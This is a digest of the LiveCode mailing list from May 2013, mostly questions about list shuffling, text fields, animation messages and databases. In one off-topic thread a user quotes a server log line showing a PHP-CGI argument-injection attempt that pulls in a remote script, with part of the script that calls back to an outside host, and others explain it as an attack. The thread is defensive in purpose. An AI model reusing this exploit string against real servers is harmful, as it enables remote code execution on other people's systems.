[OT] server log entry?

2013-05-24 Thread Thierry Douez
Hi, Can someone could help me to understand one of my server log? Here is the line: 193.107.17.36 ... "GET /?-n+-dallow_url_include%3DOn+-dauto_prepend_file%3Dhttp:// gofastdownload.com/rf/s.txt HTTP/1.1" 200 6027 "-" "Python-urllib/2.6" The file ../rf/s.txt contains: http://gofastdownload.c

Re: randomly order a list

2013-05-24 Thread Dave Cragg
Nice one, Alex. I spent an hour convincing myself that the sA array could contain duplicate elements after the loop, until the penny dropped. Remind me never to play cards if you're shuffling. :-) Dave On 24 May 2013, at 00:41, Alex Tweedly wrote: > > Yes, that's a good shuffle for small dat

Re: randomly order a list

2013-05-24 Thread Björnke von Gierke
Seems someone beat us to entering this feature request: http://quality.runrev.com/show_bug.cgi?id=10919 On 24.05.2013, at 12:04, Dave Cragg wrote: > Nice one, Alex. I spent an hour convincing myself that the sA array could > contain duplicate elements after the loop, until the penny dropped. Re

Re: [OT] server log entry?

2013-05-24 Thread Matthias Rebbe
Hi Thierry, i am not an php expert, but it seems that someone tried to execute a remote php script on your server by adding some parameters to your index.php. But as i said, i am not an expert. But it was definitely an attack. There is a free htaccess firewall available at http://perishablepr

is anyone using FieldTrip Rich Text Editor

2013-05-24 Thread Matthias Rebbe
Hi, is anyone on list using FieldTrip and would like to answer me some questions about the usage? Right now i am experiencing some strange behaviour: 1. ftplaceToolbar places the toolbar and a field to the stack 2. sometimes the toolbar suddenly grays out and is not responsive anymore (IDE and

How to navigate within a text field?

2013-05-24 Thread Tiemo Hollmann TB
Hello, I have a text field with a small directory at the beginning and several chapters. I would like the user to navigate within the text like in HTML with text marks, clicking on a directory headline brings him to the beginning of the selected chapter. I could use the linktext property, but I am

Re: is anyone using FieldTrip Rich Text Editor

2013-05-24 Thread Thomas McGrath III
I tried using it but I kept getting "no such object" errors and this stack is password protected in the script editor. So I am not using it. -- Tom McGrath III http://lazyriver.on-rev.com mcgra...@mac.com On May 24, 2013, at 7:56 AM, Matthias Rebbe wrote: > Hi, > > is anyone on list using Fi

Re: [OT] server log entry?

2013-05-24 Thread Thierry Douez
Hallo Matthias, Thanks for the feedback and your link is awesome! Vielen Dank. If someone has some more precise answer, I"m still interested :) Regards, Thierry 2013/5/24 Matthias Rebbe > Hi Thierry, > > i am not an php expert, but it seems that someone tried to execute a > remote php scr

Re: How to navigate within a text field?

2013-05-24 Thread dunbarx
Tiemo. I must be misunderstanding. Why wouldn't this work in the field script: on mouseup get the value of the clickline find whole it in me find whole it in me end mouseup Craig Newman -Original Message- From: Tiemo Hollmann TB To: 'How to use LiveCode' Sent: Fri, Ma

Re: Data From MySQL to SQLite

2013-05-24 Thread Devin Asay
On May 23, 2013, at 5:33 PM, Peter Haworth wrote: > On Thu, May 23, 2013 at 2:31 PM, Devin Asay wrote: > >> Thanks, I'll give that a try. Any idea if this might work for records >> containing binary data? I have one table with around 74 MB of data that I >> need to transfer over. > > > Hi Dev

AnimationEngine pending messages

2013-05-24 Thread Thomas McGrath III
I am having trouble canceling the pending messages that are built up with use of AE in my mobile app. I have a series of AE commands on card open but want to stop them all when moving to a new card. Even in the IDE with the pending messages/message box open I can only delete one line of the pend

Re: Data From MySQL to SQLite

2013-05-24 Thread Devin Asay
On May 23, 2013, at 6:51 PM, Magicgate Software - Skip Kimpel wrote: > Is this a one time event or or does the data have to live in both locations > and a constant synchronization happening? > > SKIP Initially I just need to move all of the data. Going forward I will only have to sync the SQLi

Re: AnimationEngine pending messages

2013-05-24 Thread Alex Tweedly
I'd give it a try with the code as in the docs (under cancel) repeat until the pendingMessages is empty cancel item 1 of line 1 of the pendingMessages end repeat It might just be that you catch additional timed messages that have triggered while you are inside your loop. What the heck - do

AW: How to navigate within a text field?

2013-05-24 Thread Tiemo Hollmann TB
Sometimes I don't see the obvious :( Thank you for rearranging my brain Tiemo > -Ursprüngliche Nachricht- > Von: use-livecode [mailto:use-livecode-boun...@lists.runrev.com] Im Auftrag > von dunb...@aol.com > Gesendet: Freitag, 24. Mai 2013 17:23 > An: use-livecode@lists.runrev.com > Betre

Re: [OT] server log entry?

2013-05-24 Thread Richard Gaskin
Thierry Douez wrote: Here is the line: 193.107.17.36 ... "GET /?-n+-dallow_url_include%3DOn+-dauto_prepend_file%3Dhttp:// gofastdownload.com/rf/s.txt HTTP/1.1" 200 6027 "-" "Python-urllib/2.6" The file ../rf/s.txt contains: http://gofastdownload.com/rf/s.php?d='.$_SERVER['HTTP_HOST']); exit(0

Re: AnimationEngine pending messages

2013-05-24 Thread Scott Rossi
May not make a difference, but have you already tried: repeat for each line x in the pendingMessages I'm asking only because I haven't seen message canceling done by putting the messages in a variable first. Regards, Scott Rossi Creative Director Tactile Media, UX Design On May 24, 2013, at 8

RE: AnimationEngine pending messages

2013-05-24 Thread John Dixon
Scott... like on cancelThisMsg tMsg put the pendingmessages into tPendingMsgs IF tMsg is in tPendingMsgs then repeat for each line x in tPendingMsgs if tMsg is in x then cancel item 1 of x end repeat end if end cancelThisMsg from the notes in the dictionary..:-) >

Re: [OT] server log entry?

2013-05-24 Thread Thierry Douez
Hi Richard, Thanks for your looong answer :) 2013/5/24 Richard Gaskin > Thierry Douez wrote: > >> Here is the line: >> >> 193.107.17.36 ... "GET >> /?-n+-dallow_url_include%3DOn+**-dauto_prepend_file%3Dhttp:// >> gofastdownload.com/rf/s.txt HTTP/1.1" 200 6027 "-" "Python-urllib/2.6" >> >> The

Re: [OT] server log entry?

2013-05-24 Thread Richard Gaskin
Thierry Douez wrote: Anyway, next week I'm going to an Open-Source-Linux exhibition in Paris; I'll bring this piece of code and ask to the php stand! Please let us know what your learn. Chances are at least some of that can be helpful in our own ongoing efforts at securing our LiveCode Serve

Re: AnimationEngine pending messages

2013-05-24 Thread Scott Rossi
Just because it's in the dictionary doesn't mean I've seen it :-) Regards, Scott Rossi Creative Director Tactile Media, UX Design On May 24, 2013, at 10:10 AM, John Dixon wrote: > Scott... > > like > > on cancelThisMsg tMsg > put the pendingmessages into tPendingMsgs > IF tMsg is in tPen

Re: [OT] server log entry?

2013-05-24 Thread Thierry Douez
2013/5/24 Richard Gaskin > Thierry Douez wrote: > >> Anyway, next week I'm going to an Open-Source-Linux exhibition in Paris; >> I'll bring this piece of code and ask to the php stand! >> > > Please let us know what your learn. Chances are at least some of that can > be helpful in our own ongoin

RELEASE: LiveCode 6.0.2 RC1

2013-05-24 Thread Benjamin Beaumont
Dear Use List, We're please to announce LiveCode 6.0.2 RC1. This is the first build of our first maintenance release cycle. For those who are not familiar with the new process please see the 'release process' section of our contributing to LiveCode document which can be found here: http://liveco

Re: AnimationEngine pending messages

2013-05-24 Thread Thomas McGrath III
Actually, I did see the note in the dictionary and tried that. But I think since I was using AE to generate effects using image 1 that each card was somehow newly stacking commands for image 1 of each card. When I changed it to the name of image 1 then they no longer stacked for each card. Weird

How to get an off-line licence for LC OSS

2013-05-24 Thread Richmond
Install LC OSS (whatever version) on your Operating System of choice, and register it online with your code. Close LiveCode and look here: Windows XP: C:/Documents and Settings/*username*/Application Data/RunRev/Licenses Windows Vista- C:/Documents and Settings/Administrator/Application Data/R

Re: Image ID conventions

2013-05-24 Thread Peter Haworth
Thanks Monte. I was looking in the id entry in the dictionary instead of the icon entry. The order of search seems a little strange but it all seems to work! Pete lcSQL Software On Mon, May 20, 2013 at 9:45 PM, Monte Goulding wrote: > > On 21/05/2013, at 7:16 AM, Peter

Reading the battery charge of an IOS device

2013-05-24 Thread Howard Bornstein
Does anyone know of a way to read the percentage of charge in the battery of an IOS device? TIA -- Regards, Howard Bornstein --- www.designeq.com ___ use-livecode mailing list use-livecode@lists.runrev.com Please visit this url to

Re: randomly order a list

2013-05-24 Thread Geoff Canyon
Dar -- I hardly think you need my blessing, but I agree with your definition of p(k). I ran some numbers through Wolfram Alpha, and it looks like even for 100 item lists the probability of the first item being sorted to the first spot is about 0.015, or 1.5 times what it should be if sorted by rand

Counting problem

2013-05-24 Thread dunbarx
I know I am going to feel like a dope, but why does the first script always properly give ten counts in the array variable "counter", but the second can give anywhere from five to sixteen, and maybe others? on mouseUp put "a,b,c,d,e,f,g,h,i,j" into temp repeat 10 get any item of tem

Re: Counting problem

2013-05-24 Thread Colin Holgate
Both scripts give me the same randomness. Are you checking the results like this?: put the number of elements in counter ___ use-livecode mailing list use-livecode@lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subsc

Re: Counting problem

2013-05-24 Thread Mike Bonner
Welcome to bizarro land where adding 1... doesn't. ___ use-livecode mailing list use-livecode@lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode

Re: Counting problem

2013-05-24 Thread Peter Haworth
On Fri, May 24, 2013 at 2:56 PM, wrote: > I know I am going to feel like a dope, but why does the first script > always properly give ten counts in the array variable "counter", but the > second can give anywhere from five to sixteen, and maybe others? > > > > on mouseUp >put "a,b,c,d,e,f,g,h

Re: Counting problem

2013-05-24 Thread Peter Haworth
On Fri, May 24, 2013 at 2:56 PM, wrote: > get any item of temp I almost hate to mention this, but would the "any" keyword have any use in the recent thread about sorting by random numbers? Pete lcSQL Software ___ use-livecode

Re: Counting problem

2013-05-24 Thread Mike Bonner
Does NOT work for me, tried 5.5.1 to 6.0.1 (community) and it just does random freakishness. On osx ML. On Fri, May 24, 2013 at 4:16 PM, Peter Haworth wrote: > On Fri, May 24, 2013 at 2:56 PM, wrote: > > > I know I am going to feel like a dope, but why does the first script > > always proper

Re: Counting problem

2013-05-24 Thread Mike Bonner
Just tested by changing the line to.. add 1 to tcounter[( item random( the number of items in temp) of temp)] same result, very weird. On Fri, May 24, 2013 at 4:19 PM, Peter Haworth wrote: > On Fri, May 24, 2013 at 2:56 PM, wrote: > > > get any item of temp > > > I almost hate to me

Re: Counting problem

2013-05-24 Thread Alex Tweedly
I see the same problem on both 5.5.3 and 6.0.1 - but testing in the message box. Oddly, I happened to notice that if I change the script to be put "a,b,c,d,e,f,g,h,i,j" into temp repeat 10 add 1 to counter[any item of temp] put counter["b"] into tJunk -- i.e. I add a si

Re: 1001 things to do with LiveCode

2013-05-24 Thread Alejandro Tejada
Hi Peter, Peter W A Wood wrote > If anybody else reading this message has any interesting that > they've developed in LiveCode, I'd really appreciate being able > to include it in 1001 things to do with LiveCode. Did you published the guidelines about the exact information that you require to i

Re: Counting problem

2013-05-24 Thread dunbarx
Hey Colin. It wasn't the randomness I was banging my head against, it was that the count of whatever chars came up did not add up to 10. So one would expect something like: a,1 c,2 d,1 e,1 g,3 h,1 j,1 The "count" adds up to 10. Don't care about the keys. I get, however, something like:

Re: Counting problem

2013-05-24 Thread dunbarx
Alex. I am the kind of guy that is happy to solve a problem without understanding it. But this one is, er, bugging me. Craig -Original Message- From: Alex Tweedly To: use-livecode Sent: Fri, May 24, 2013 7:11 pm Subject: Re: Counting problem I see the same problem on both 5.5.3